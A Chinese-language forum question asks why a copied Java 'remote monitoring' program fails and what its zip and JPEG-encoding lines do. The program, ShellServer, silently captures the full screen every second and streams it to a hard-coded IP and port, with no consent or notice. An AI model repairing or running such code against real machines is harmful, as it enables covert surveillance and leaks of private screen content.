我见到网上java远程监控,可以看到远程计算机的操作的程序,源代码如下,但不能运行,怎么回事?
高手能否赐教?其中这两句os.putNextEntry(new ZipEntry("1.jpg")); JPEGCodec.createJPEGEncoder(os).encode(image);是什么意思?前后都没有“1.jpg”呀,是不是作者写错啦?
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ShellServer extends Thread{
private Dimension screenSize;
private Rectangle rectangle;
private Robot robot;
private JPEGImageEncoder encoder;
public ShellServer() {
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
rectangle = new Rectangle(screenSize);
try{
robot = new Robot();
}catch(Exception e){
e.printStackTrace();
System.out.println(e);
}
}
public void run(){
ZipOutputStream os = null;
Socket socket=null;
while (true){
try{
socket = new Socket("10.124.10.127",5000);
BufferedImage image = robot.createScreenCapture(rectangle);
os = new ZipOutputStream(socket.getOutputStream());
// os = new ZipOutputStream(new FileOutputStream("D:/1.zip"));
os.setLevel(9);
os.putNextEntry(new ZipEntry("1.jpg"));//此处“ 1jpg”是什么?前后都没出现呀?
JPEGCodec.createJPEGEncoder(os).encode(image);//此处是图形编码成JPEG吗?有什么用?
//上面两句出错,不知怎么回事?????????????
os.close();
Thread.sleep(1000);
}catch(Exception e){
e.printStackTrace();
}finally{
if(os!=null){
try{
os.close();
}catch(Exception ioe){}
}
if(socket!=null){
try {
socket.close();
} catch (IOException e) {
}
}
}
}
}
public static void main(String[] args) {
new ShellServer().start();
}
}